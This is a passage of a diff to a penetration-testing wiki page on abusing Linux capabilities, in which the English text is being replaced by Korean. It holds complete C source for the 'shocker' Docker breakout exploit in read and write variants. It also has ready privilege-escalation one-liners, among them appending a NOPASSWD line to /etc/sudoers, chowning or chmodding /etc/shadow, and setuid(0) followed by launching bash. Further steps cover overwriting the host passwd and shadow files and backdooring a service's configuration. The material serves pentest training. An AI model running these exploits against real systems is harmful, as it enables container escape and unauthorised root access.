0) +die("[-] Cannot find valid handle!"); - fprintf(stderr, "[!] Got a final handle!\n"); - dump_handle(&h); +fprintf(stderr, "[!] Got a final handle!\n"); +dump_handle(&h); - if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0) - die("[-] open_by_handle"); +if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0) +die("[-] open_by_handle"); - memset(buf, 0, sizeof(buf)); - if (read(fd2, buf, sizeof(buf) - 1) < 0) - die("[-] read"); +memset(buf, 0, sizeof(buf)); +if (read(fd2, buf, sizeof(buf) - 1) < 0) +die("[-] read"); - printf("Success!!\n"); +printf("Success!!\n"); - FILE *fptr; - fptr = fopen(argv[2], "w"); - fprintf(fptr,"%s", buf); - fclose(fptr); +FILE *fptr; +fptr = fopen(argv[2], "w"); +fprintf(fptr,"%s", buf); +fclose(fptr); - close(fd2); close(fd1); +close(fd2); close(fd1); - return 0; +return 0; } ``` - > [!WARNING] -> The exploit needs to find a pointer to something mounted on the host. The original exploit used the file /.dockerinit and this modified version uses /etc/hostname. If the exploit isn't working maybe you need to set a different file. To find a file that is mounted in the host just execute mount command: +> 이 익스플로잇은 호스트에 마운트된 무언가에 대한 포인터를 찾아야 합니다. 원래 익스플로잇은 파일 /.dockerinit을 사용했으며, 이 수정된 버전은 /etc/hostname을 사용합니다. 익스플로잇이 작동하지 않는다면 다른 파일을 설정해야 할 수도 있습니다. 호스트에 마운트된 파일을 찾으려면 mount 명령을 실행하세요: ![](<../../images/image (407) (1).png>) -**The code of this technique was copied from the laboratory of "Abusing DAC_READ_SEARCH Capability" from** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com) - -​ - -
- -​​​​​​​​​​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} +**이 기술의 코드는** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com) **의 "DAC_READ_SEARCH Capability 악용" 실험실에서 복사되었습니다.** ## CAP_DAC_OVERRIDE -**This mean that you can bypass write permission checks on any file, so you can write any file.** +**이는 모든 파일에 대한 쓰기 권한 검사를 우회할 수 있음을 의미하므로, 어떤 파일이든 쓸 수 있습니다.** -There are a lot of files you can **overwrite to escalate privileges,** [**you can get ideas from here**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges). +특권 상승을 위해 **덮어쓸 수 있는 파일이 많이 있습니다,** [**여기에서 아이디어를 얻을 수 있습니다**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges). -**Example with binary** - -In this example vim has this capability, so you can modify any file like _passwd_, _sudoers_ or _shadow_: +**바이너리 예제** +이 예제에서 vim은 이 권한을 가지고 있으므로 _passwd_, _sudoers_ 또는 _shadow_와 같은 파일을 수정할 수 있습니다: ```bash getcap -r / 2>/dev/null /usr/bin/vim = cap_dac_override+ep vim /etc/sudoers #To overwrite it ``` +**이진 파일 2의 예** -**Example with binary 2** - -In this example **`python`** binary will have this capability. You could use python to override any file: - +이 예에서 **`python`** 이진 파일은 이 기능을 가집니다. 파일을 덮어쓰는 데 python을 사용할 수 있습니다: ```python file=open("/etc/sudoers","a") file.write("yourusername ALL=(ALL) NOPASSWD:ALL") file.close() ``` +**환경 + CAP_DAC_READ_SEARCH (Docker 탈출) 예제** -**Example with environment + CAP_DAC_READ_SEARCH (Docker breakout)** - -You can check the enabled capabilities inside the docker container using: - +docker 컨테이너 내에서 활성화된 권한을 확인하려면 다음을 사용하세요: ```bash capsh --print Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap Securebits: 00/0x0/1'b0 - secure-noroot: no (unlocked) - secure-no-suid-fixup: no (unlocked) - secure-keep-caps: no (unlocked) +secure-noroot: no (unlocked) +secure-no-suid-fixup: no (unlocked) +secure-keep-caps: no (unlocked) uid=0(root) gid=0(root) groups=0(root) ``` - -First of all read the previous section that [**abuses DAC_READ_SEARCH capability to read arbitrary files**](linux-capabilities.md#cap_dac_read_search) of the host and **compile** the exploit.\ -Then, **compile the following version of the shocker exploit** that will allow you to **write arbitrary files** inside the hosts filesystem: - +먼저 호스트의 [**DAC_READ_SEARCH 기능을 악용하여 임의의 파일을 읽는**](linux-capabilities.md#cap_dac_read_search) 이전 섹션을 읽고 **익스플로잇을 컴파일**하세요.\ +그런 다음, 호스트 파일 시스템 내에서 **임의의 파일을 쓸 수 있는** 다음 버전의 쇼커 익스플로잇을 **컴파일**하세요: ```c #include #include @@ -1110,179 +990,169 @@ Then, **compile the following version of the shocker exploit** that will allow y // ./shocker_write /etc/passwd passwd struct my_file_handle { - unsigned int handle_bytes; - int handle_type; - unsigned char f_handle[8]; +unsigned int handle_bytes; +int handle_type; +unsigned char f_handle[8]; }; void die(const char * msg) { - perror(msg); - exit(errno); +perror(msg); +exit(errno); } void dump_handle(const struct my_file_handle * h) { - fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes, - h -> handle_type); - for (int i = 0; i < h -> handle_bytes; ++i) { - fprintf(stderr, "0x%02x", h -> f_handle[i]); - if ((i + 1) % 20 == 0) - fprintf(stderr, "\n"); - if (i < h -> handle_bytes - 1) - fprintf(stderr, ", "); - } - fprintf(stderr, "};\n"); +fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes, +h -> handle_type); +for (int i = 0; i < h -> handle_bytes; ++i) { +fprintf(stderr, "0x%02x", h -> f_handle[i]); +if ((i + 1) % 20 == 0) +fprintf(stderr, "\n"); +if (i < h -> handle_bytes - 1) +fprintf(stderr, ", "); +} +fprintf(stderr, "};\n"); } int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh) { - int fd; - uint32_t ino = 0; - struct my_file_handle outh = { - .handle_bytes = 8, - .handle_type = 1 - }; - DIR * dir = NULL; - struct dirent * de = NULL; - path = strchr(path, '/'); - // recursion stops if path has been resolved - if (!path) { - memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle)); - oh -> handle_type = 1; - oh -> handle_bytes = 8; - return 1; - } - ++path; - fprintf(stderr, "[*] Resolving '%s'\n", path); - if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0) - die("[-] open_by_handle_at"); - if ((dir = fdopendir(fd)) == NULL) - die("[-] fdopendir"); - for (;;) { - de = readdir(dir); - if (!de) - break; - fprintf(stderr, "[*] Found %s\n", de -> d_name); - if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) { - fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino); - ino = de -> d_ino; - break; - } - } - fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n"); - if (de) { - for (uint32_t i = 0; i < 0xffffffff; ++i) { - outh.handle_bytes = 8; - outh.handle_type = 1; - memcpy(outh.f_handle, & ino, sizeof(ino)); - memcpy(outh.f_handle + 4, & i, sizeof(i)); - if ((i % (1 << 20)) == 0) - fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de -> d_name, i); - if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) { - closedir(dir); - close(fd); - dump_handle( & outh); - return find_handle(bfd, path, & outh, oh); - } - } - } - closedir(dir); - close(fd); - return 0; +int fd; +uint32_t ino = 0; +struct my_file_handle outh = { +.handle_bytes = 8, +.handle_type = 1 +}; +DIR * dir = NULL; +struct dirent * de = NULL; +path = strchr(path, '/'); +// recursion stops if path has been resolved +if (!path) { +memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle)); +oh -> handle_type = 1; +oh -> handle_bytes = 8; +return 1; +} +++path; +fprintf(stderr, "[*] Resolving '%s'\n", path); +if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0) +die("[-] open_by_handle_at"); +if ((dir = fdopendir(fd)) == NULL) +die("[-] fdopendir"); +for (;;) { +de = readdir(dir); +if (!de) +break; +fprintf(stderr, "[*] Found %s\n", de -> d_name); +if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) { +fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino); +ino = de -> d_ino; +break; +} +} +fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n"); +if (de) { +for (uint32_t i = 0; i < 0xffffffff; ++i) { +outh.handle_bytes = 8; +outh.handle_type = 1; +memcpy(outh.f_handle, & ino, sizeof(ino)); +memcpy(outh.f_handle + 4, & i, sizeof(i)); +if ((i % (1 << 20)) == 0) +fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de -> d_name, i); +if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) { +closedir(dir); +close(fd); +dump_handle( & outh); +return find_handle(bfd, path, & outh, oh); +} +} +} +closedir(dir); +close(fd); +return 0; } int main(int argc, char * argv[]) { - char buf[0x1000]; - int fd1, fd2; - struct my_file_handle h; - struct my_file_handle root_h = { - .handle_bytes = 8, - .handle_type = 1, - .f_handle = { - 0x02, - 0, - 0, - 0, - 0, - 0, - 0, - 0 - } - }; - fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n" - "[***] The tea from the 90's kicks your sekurity again. [***]\n" - "[***] If you have pending sec consulting, I'll happily [***]\n" - "[***] forward to my friends who drink secury-tea too! [***]\n\n\n"); - read(0, buf, 1); - // get a FS reference from something mounted in from outside - if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0) - die("[-] open"); - if (find_handle(fd1, argv[1], & root_h, & h) <= 0) - die("[-] Cannot find valid handle!"); - fprintf(stderr, "[!] Got a final handle!\n"); - dump_handle( & h); - if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0) - die("[-] open_by_handle"); - char * line = NULL; - size_t len = 0; - FILE * fptr; - ssize_t read; - fptr = fopen(argv[2], "r"); - while ((read = getline( & line, & len, fptr)) != -1) { - write(fd2, line, read); - } - printf("Success!!\n"); - close(fd2); - close(fd1); - return 0; +char buf[0x1000]; +int fd1, fd2; +struct my_file_handle h; +struct my_file_handle root_h = { +.handle_bytes = 8, +.handle_type = 1, +.f_handle = { +0x02, +0, +0, +0, +0, +0, +0, +0 +} +}; +fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n" +"[***] The tea from the 90's kicks your sekurity again. [***]\n" +"[***] If you have pending sec consulting, I'll happily [***]\n" +"[***] forward to my friends who drink secury-tea too! [***]\n\n\n"); +read(0, buf, 1); +// get a FS reference from something mounted in from outside +if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0) +die("[-] open"); +if (find_handle(fd1, argv[1], & root_h, & h) <= 0) +die("[-] Cannot find valid handle!"); +fprintf(stderr, "[!] Got a final handle!\n"); +dump_handle( & h); +if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0) +die("[-] open_by_handle"); +char * line = NULL; +size_t len = 0; +FILE * fptr; +ssize_t read; +fptr = fopen(argv[2], "r"); +while ((read = getline( & line, & len, fptr)) != -1) { +write(fd2, line, read); +} +printf("Success!!\n"); +close(fd2); +close(fd1); +return 0; } ``` +Docker 컨테이너에서 탈출하기 위해서는 호스트에서 `/etc/shadow` 및 `/etc/passwd` 파일을 **다운로드**하고, 여기에 **새 사용자**를 **추가**한 다음, **`shocker_write`**를 사용하여 이를 덮어쓸 수 있습니다. 그런 다음 **ssh**를 통해 **접속**합니다. -In order to scape the docker container you could **download** the files `/etc/shadow` and `/etc/passwd` from the host, **add** to them a **new user**, and use **`shocker_write`** to overwrite them. Then, **access** via **ssh**. - -**The code of this technique was copied from the laboratory of "Abusing DAC_OVERRIDE Capability" from** [**https://www.pentesteracademy.com**](https://www.pentesteracademy.com) +**이 기술의 코드는** [**https://www.pentesteracademy.com**](https://www.pentesteracademy.com) **의 "DAC_OVERRIDE Capability 남용" 실험실에서 복사되었습니다.** ## CAP_CHOWN -**This means that it's possible to change the ownership of any file.** +**이는 모든 파일의 소유권을 변경할 수 있음을 의미합니다.** -**Example with binary** - -Lets suppose the **`python`** binary has this capability, you can **change** the **owner** of the **shadow** file, **change root password**, and escalate privileges: +**바이너리 예시** +**`python`** 바이너리가 이 권한을 가지고 있다고 가정하면, **shadow** 파일의 **소유자**를 **변경**하고, **루트 비밀번호**를 **변경**하며, 권한을 상승시킬 수 있습니다: ```bash python -c 'import os;os.chown("/etc/shadow",1000,1000)' ``` - -Or with the **`ruby`** binary having this capability: - +또는 **`ruby`** 바이너리가 이 권한을 가지고 있는 경우: ```bash ruby -e 'require "fileutils"; FileUtils.chown(1000, 1000, "/etc/shadow")' ``` - ## CAP_FOWNER -**This means that it's possible to change the permission of any file.** +**이는 모든 파일의 권한을 변경할 수 있음을 의미합니다.** -**Example with binary** - -If python has this capability you can modify the permissions of the shadow file, **change root password**, and escalate privileges: +**바이너리 예시** +python이 이 기능을 가지고 있다면, shadow 파일의 권한을 수정하고, **루트 비밀번호를 변경**하며, 권한을 상승시킬 수 있습니다: ```bash python -c 'import os;os.chmod("/etc/shadow",0666) ``` - ### CAP_SETUID -**This means that it's possible to set the effective user id of the created process.** +**이것은 생성된 프로세스의 유효 사용자 ID를 설정할 수 있음을 의미합니다.** -**Example with binary** - -If python has this **capability**, you can very easily abuse it to escalate privileges to root: +**바이너리 예시** +만약 python이 이 **capability**를 가지고 있다면, 이를 이용해 루트 권한으로 권한 상승을 매우 쉽게 할 수 있습니다: ```python import os os.setuid(0) os.system("/bin/bash") ``` - -**Another way:** - +**또 다른 방법:** ```python import os import prctl @@ -1291,17 +1161,15 @@ prctl.cap_effective.setuid = True os.setuid(0) os.system("/bin/bash") ``` - ## CAP_SETGID -**This means that it's possible to set the effective group id of the created process.** +**이는 생성된 프로세스의 유효 그룹 ID를 설정할 수 있음을 의미합니다.** -There are a lot of files you can **overwrite to escalate privileges,** [**you can get ideas from here**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges). +권한을 상승시키기 위해 **덮어쓸 수 있는 파일이 많이 있습니다,** [**여기에서 아이디어를 얻을 수 있습니다**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges). -**Example with binary** - -In this case you should look for interesting files that a group can read because you can impersonate any group: +**바이너리 예제** +이 경우, 그룹이 읽을 수 있는 흥미로운 파일을 찾아야 합니다. 왜냐하면 어떤 그룹으로도 가장할 수 있기 때문입니다: ```bash #Find every file writable by a group find / -perm /g=w -exec ls -lLd {} \; 2>/dev/null @@ -1310,31 +1178,25 @@ find /etc -maxdepth 1 -perm /g=w -exec ls -lLd {} \; 2>/dev/null #Find every file readable by a group in /etc with a maxpath of 1 find /etc -maxdepth 1 -perm /g=r -exec ls -lLd {} \; 2>/dev/null ``` - -Once you have find a file you can abuse (via reading or writing) to escalate privileges you can **get a shell impersonating the interesting group** with: - +파일을 찾아서 권한 상승을 위해 악용할 수 있는 경우(읽기 또는 쓰기를 통해) **흥미로운 그룹을 가장하는 셸을 얻을 수 있습니다**: ```python import os os.setgid(42) os.system("/bin/bash") ``` - -In this case the group shadow was impersonated so you can read the file `/etc/shadow`: - +이 경우 그룹 shadow가 가장해져서 `/etc/shadow` 파일을 읽을 수 있습니다: ```bash cat /etc/shadow ``` - -If **docker** is installed you could **impersonate** the **docker group** and abuse it to communicate with the [**docker socket** and escalate privileges](./#writable-docker-socket). +만약 **docker**가 설치되어 있다면, **docker group**을 **가장**하고 이를 악용하여 [**docker socket**와 통신하고 권한을 상승시킬 수 있습니다](./#writable-docker-socket). ## CAP_SETFCAP -**This means that it's possible to set capabilities on files and processes** +**이는 파일과 프로세스에 권한을 설정할 수 있음을 의미합니다.** -**Example with binary** - -If python has this **capability**, you can very easily abuse it to escalate privileges to root: +**바이너리 예시** +만약 python이 이 **권한**을 가지고 있다면, 이를 악용하여 루트 권한으로 상승시키는 것이 매우 쉽습니다: ```python:setcapability.py import ctypes, sys @@ -1355,22 +1217,20 @@ cap_t = libcap.cap_from_text(cap) status = libcap.cap_set_file(path,cap_t) if(status == 0): - print (cap + " was successfully added to " + path) +print (cap + " was successfully added to " + path) ``` ```bash python setcapability.py /usr/bin/python2.7 ``` - > [!WARNING] -> Note that if you set a new capability to the binary with CAP_SETFCAP, you will lose this cap. +> CAP_SETFCAP로 이진 파일에 새 권한을 설정하면 이 권한을 잃게 됩니다. -Once you have [SETUID capability](linux-capabilities.md#cap_setuid) you can go to its section to see how to escalate privileges. +[SETUID capability](linux-capabilities.md#cap_setuid)를 얻으면 권한 상승 방법을 보려면 해당 섹션으로 이동할 수 있습니다. -**Example with environment (Docker breakout)** - -By default the capability **CAP_SETFCAP is given to the proccess inside the container in Docker**. You can check that doing something like: +**환경 예시 (Docker 탈출)** +기본적으로 **CAP_SETFCAP 권한은 Docker의 컨테이너 내부 프로세스에 부여됩니다**. 다음과 같은 방법으로 확인할 수 있습니다: ```bash cat /proc/`pidof bash`/status | grep Cap CapInh: 00000000a80425fb @@ -1382,10 +1242,8 @@ CapAmb: 0000000000000000 capsh --decode=00000000a80425fb 0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap ``` - -This capability allow to **give any other capability to binaries**, so we could think about **escaping** from the container **abusing any of the other capability breakouts** mentioned in this page.\ -However, if you try to give for example the capabilities CAP_SYS_ADMIN and CAP_SYS_PTRACE to the gdb binary, you will find that you can give them, but the **binary won’t be able to execute after this**: - +이 기능은 **이진 파일에 다른 모든 기능을 부여할 수 있게 해줍니다**, 따라서 우리는 이 페이지에 언급된 **다른 기능 탈출을 악용하여** 컨테이너에서 **탈출**할 수 있다고 생각할 수 있습니다.\ +그러나 예를 들어 gdb 이진 파일에 CAP_SYS_ADMIN 및 CAP_SYS_PTRACE 기능을 부여하려고 하면, 부여할 수는 있지만 **이진 파일은 이후에 실행할 수 없다는 것을 알게 될 것입니다**: ```bash getcap /usr/bin/gdb /usr/bin/gdb = cap_sys_ptrace,cap_sys_admin+eip @@ -1395,27 +1253,25 @@ setcap cap_sys_admin,cap_sys_ptrace+eip /usr/bin/gdb /usr/bin/gdb bash: /usr/bin/gdb: Operation not permitted ``` - [From the docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): _Permitted: This is a **limiting superset for the effective capabilities** that the thread may assume. It is also a limiting superset for the capabilities that may be added to the inheri‐table set by a thread that **does not have the CAP_SETPCAP** capability in its effective set._\ -It looks like the Permitted capabilities limit the ones that can be used.\ -However, Docker also grants the **CAP_SETPCAP** by default, so you might be able to **set new capabilities inside the inheritables ones**.\ -However, in the documentation of this cap: _CAP_SETPCAP : \[…] **add any capability from the calling thread’s bounding** set to its inheritable set_.\ -It looks like we can only add to the inheritable set capabilities from the bounding set. Which means that **we cannot put new capabilities like CAP_SYS_ADMIN or CAP_SYS_PTRACE in the inherit set to escalate privileges**. +Permitted capabilities는 사용할 수 있는 것들을 제한하는 것처럼 보입니다.\ +그러나 Docker는 기본적으로 **CAP_SETPCAP**를 부여하므로, **상속 가능한 것들 안에서 새로운 능력을 설정할 수 있을지도 모릅니다**.\ +그러나 이 능력의 문서에서는: _CAP_SETPCAP : \[…] **호출 스레드의 경계** 집합에서 상속 가능한 집합에 능력을 추가합니다_.\ +우리는 경계 집합에서 상속 가능한 집합으로만 추가할 수 있는 것처럼 보입니다. 이는 **CAP_SYS_ADMIN 또는 CAP_SYS_PTRACE와 같은 새로운 능력을 상속 집합에 넣어 권한을 상승시킬 수 없음을 의미합니다**. ## CAP_SYS_RAWIO -[**CAP_SYS_RAWIO**](https://man7.org/linux/man-pages/man7/capabilities.7.html) provides a number of sensitive operations including access to `/dev/mem`, `/dev/kmem` or `/proc/kcore`, modify `mmap_min_addr`, access `ioperm(2)` and `iopl(2)` system calls, and various disk commands. The `FIBMAP ioctl(2)` is also enabled via this capability, which has caused issues in the [past](http://lkml.iu.edu/hypermail/linux/kernel/9907.0/0132.html). As per the man page, this also allows the holder to descriptively `perform a range of device-specific operations on other devices`. +[**CAP_SYS_RAWIO**](https://man7.org/linux/man-pages/man7/capabilities.7.html)는 `/dev/mem`, `/dev/kmem` 또는 `/proc/kcore`에 대한 접근, `mmap_min_addr` 수정, `ioperm(2)` 및 `iopl(2)` 시스템 호출 접근, 다양한 디스크 명령을 포함한 여러 민감한 작업을 제공합니다. `FIBMAP ioctl(2)`도 이 능력을 통해 활성화되며, 이는 [과거에](http://lkml.iu.edu/hypermail/linux/kernel/9907.0/0132.html) 문제를 일으켰습니다. 매뉴얼 페이지에 따르면, 이는 보유자가 다른 장치에서 장치별 작업을 설명적으로 `수행할 수 있게 합니다`. -This can be useful for **privilege escalation** and **Docker breakout.** +이는 **권한 상승** 및 **Docker 탈출**에 유용할 수 있습니다. ## CAP_KILL -**This means that it's possible to kill any process.** +**이는 모든 프로세스를 종료할 수 있음을 의미합니다.** -**Example with binary** - -Lets suppose the **`python`** binary has this capability. If you could **also modify some service or socket configuration** (or any configuration file related to a service) file, you could backdoor it, and then kill the process related to that service and wait for the new configuration file to be executed with your backdoor. +**바이너리 예시** +**`python`** 바이너리가 이 능력을 가지고 있다고 가정해 보겠습니다. 만약 **서비스나 소켓 구성** (또는 서비스와 관련된 구성 파일) 파일을 **수정할 수 있다면**, 이를 백도어로 만들고, 그 서비스와 관련된 프로세스를 종료한 다음, 새로운 구성 파일이 당신의 백도어와 함께 실행되기를 기다릴 수 있습니다. ```python #Use this python code to kill arbitrary processes import os @@ -1423,39 +1279,27 @@ import signal pgid = os.getpgid(341) os.killpg(pgid, signal.SIGKILL) ``` +**kill로 권한 상승** -**Privesc with kill** - -If you have kill capabilities and there is a **node program running as root** (or as a different user)you could probably **send** it the **signal SIGUSR1** and make it **open the node debugger** to where you can connect. - +kill 권한이 있고 **root로 실행 중인 node 프로그램**(또는 다른 사용자로 실행 중인 경우)이 있다면, 아마도 **SIGUSR1 신호**를 보내서 **node 디버거**를 열 수 있을 것입니다. 그곳에서 연결할 수 있습니다. ```bash kill -s SIGUSR1 # After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d ``` - {{#ref}} electron-cef-chromium-debugger-abuse.md {{#endref}} -​ - -
- -​​​​​​​​​​​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - ## CAP_NET_BIND_SERVICE -**This means that it's possible to listen in any port (even in privileged ones).** You cannot escalate privileges directly with this capability. +**이는 모든 포트(특권 포트에서도)에서 수신할 수 있음을 의미합니다.** 이 권한으로 직접적으로 권한 상승을 할 수는 없습니다. -**Example with binary** +**바이너리 예시** -If **`python`** has this capability it will be able to listen on any port and even connect from it to any other port (some services require connections from specific privileges ports) +만약 **`python`**이 이 권한을 가지고 있다면, 모든 포트에서 수신할 수 있으며, 다른 포트로 연결할 수도 있습니다(일부 서비스는 특정 특권 포트에서의 연결을 요구합니다). {{#tabs}} {{#tab name="Listen"}} - ```python import socket s=socket.socket() @@ -1463,45 +1307,39 @@ s.bind(('0.0.0.0', 80)) s.listen(1) conn, addr = s.accept() while True: - output = connection.recv(1024).strip(); - print(output) +output = connection.recv(1024).strip(); +print(output) ``` - {{#endtab}} {{#tab name="Connect"}} - ```python import socket s=socket.socket() s.bind(('0.0.0.0',500)) s.connect(('10.10.10.10',500)) ``` - {{#endtab}} {{#endtabs}} ## CAP_NET_RAW -[**CAP_NET_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) capability permits processes to **create RAW and PACKET sockets**, enabling them to generate and send arbitrary network packets. This can lead to security risks in containerized environments, such as packet spoofing, traffic injection, and bypassing network access controls. Malicious actors could exploit this to interfere with container routing or compromise host network security, especially without adequate firewall protections. Additionally, **CAP_NET_RAW** is crucial for privileged containers to support operations like ping via RAW ICMP requests. +[**CAP_NET_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) 권한은 프로세스가 **RAW 및 PACKET 소켓을 생성**할 수 있도록 하여 임의의 네트워크 패킷을 생성하고 전송할 수 있게 합니다. 이는 패킷 스푸핑, 트래픽 주입 및 네트워크 접근 제어 우회를 포함한 보안 위험을 초래할 수 있습니다. 악의적인 행위자는 이를 이용해 컨테이너 라우팅에 간섭하거나 호스트 네트워크 보안을 위협할 수 있으며, 특히 적절한 방화벽 보호가 없는 경우에 더욱 그렇습니다. 또한, **CAP_NET_RAW**는 RAW ICMP 요청을 통한 ping과 같은 작업을 지원하기 위해 권한이 있는 컨테이너에 필수적입니다. -**This means that it's possible to sniff traffic.** You cannot escalate privileges directly with this capability. +**이는 트래픽을 스니핑할 수 있음을 의미합니다.** 이 권한으로 직접적으로 권한 상승을 할 수는 없습니다. -**Example with binary** - -If the binary **`tcpdump`** has this capability you will be able to use it to capture network information. +**바이너리 예시** +바이너리 **`tcpdump`**가 이 권한을 가지고 있다면, 네트워크 정보를 캡처하는 데 사용할 수 있습니다. ```bash getcap -r / 2>/dev/null /usr/sbin/tcpdump = cap_net_raw+ep ``` +**환경**이 이 기능을 제공하는 경우 **`tcpdump`**를 사용하여 트래픽을 스니핑할 수도 있습니다. -Note that if the **environment** is giving this capability you could also use **`tcpdump`** to sniff traffic. - -**Example with binary 2** - -The following example is **`python2`** code that can be useful to intercept traffic of the "**lo**" (**localhost**) interface. The code is from the lab "_The Basics: CAP-NET_BIND + NET_RAW_" from [https://attackdefense.pentesteracademy.com/](https://attackdefense.pentesteracademy.com) +**이진수 2의 예** +다음 예는 "**lo**" (**localhost**) 인터페이스의 트래픽을 가로채는 데 유용할 수 있는 **`python2`** 코드입니다. 이 코드는 [https://attackdefense.pentesteracademy.com/](https://attackdefense.pentesteracademy.com)에서 "_기초: CAP-NET_BIND + NET_RAW_" 실험실의 것입니다. ```python import socket import struct @@ -1509,11 +1347,11 @@ import struct flags=["NS","CWR","ECE","URG","ACK","PSH","RST","SYN","FIN"] def getFlag(flag_value): - flag="" - for i in xrange(8,-1,-1): - if( flag_value & 1 < [!NOTE] -> Note that usually this immutable attribute is set and remove using: +> 일반적으로 이 불변 속성은 다음을 사용하여 설정 및 제거됩니다: > > ```bash > sudo chattr +i file.txt @@ -1607,47 +1440,46 @@ f.write('New content for the file\n') ## CAP_SYS_CHROOT -[**CAP_SYS_CHROOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) enables the execution of the `chroot(2)` system call, which can potentially allow for the escape from `chroot(2)` environments through known vulnerabilities: +[**CAP_SYS_CHROOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html)는 `chroot(2)` 시스템 호출의 실행을 가능하게 하며, 이는 알려진 취약점을 통해 `chroot(2)` 환경에서 탈출할 수 있게 할 수 있습니다: -- [How to break out from various chroot solutions](https://deepsec.net/docs/Slides/2015/Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions_-_Bucsay_Balazs.pdf) -- [chw00t: chroot escape tool](https://github.com/earthquake/chw00t/) +- [다양한 chroot 솔루션에서 탈출하는 방법](https://deepsec.net/docs/Slides/2015/Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions_-_Bucsay_Balazs.pdf) +- [chw00t: chroot 탈출 도구](https://github.com/earthquake/chw00t/) ## CAP_SYS_BOOT -[**CAP_SYS_BOOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) not only allows the execution of the `reboot(2)` system call for system restarts, including specific commands like `LINUX_REBOOT_CMD_RESTART2` tailored for certain hardware platforms, but it also enables the use of `kexec_load(2)` and, from Linux 3.17 onwards, `kexec_file_load(2)` for loading new or signed crash kernels respectively. +[**CAP_SYS_BOOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html)는 특정 하드웨어 플랫폼에 맞춘 `LINUX_REBOOT_CMD_RESTART2`와 같은 특정 명령을 포함하여 시스템 재시작을 위한 `reboot(2)` 시스템 호출의 실행을 허용할 뿐만 아니라, `kexec_load(2)` 및 Linux 3.17 이후부터는 새로운 또는 서명된 크래시 커널을 로드하기 위한 `kexec_file_load(2)`의 사용을 가능하게 합니다. ## CAP_SYSLOG -[**CAP_SYSLOG**](https://man7.org/linux/man-pages/man7/capabilities.7.html) was separated from the broader **CAP_SYS_ADMIN** in Linux 2.6.37, specifically granting the ability to use the `syslog(2)` call. This capability enables the viewing of kernel addresses via `/proc` and similar interfaces when the `kptr_restrict` setting is at 1, which controls the exposure of kernel addresses. Since Linux 2.6.39, the default for `kptr_restrict` is 0, meaning kernel addresses are exposed, though many distributions set this to 1 (hide addresses except from uid 0) or 2 (always hide addresses) for security reasons. +[**CAP_SYSLOG**](https://man7.org/linux/man-pages/man7/capabilities.7.html)는 Linux 2.6.37에서 더 넓은 **CAP_SYS_ADMIN**에서 분리되어 `syslog(2)` 호출을 사용할 수 있는 능력을 부여합니다. 이 기능은 `kptr_restrict` 설정이 1일 때 `/proc` 및 유사한 인터페이스를 통해 커널 주소를 볼 수 있게 합니다. Linux 2.6.39 이후로 `kptr_restrict`의 기본값은 0이며, 이는 커널 주소가 노출됨을 의미하지만, 많은 배포판은 보안상의 이유로 이를 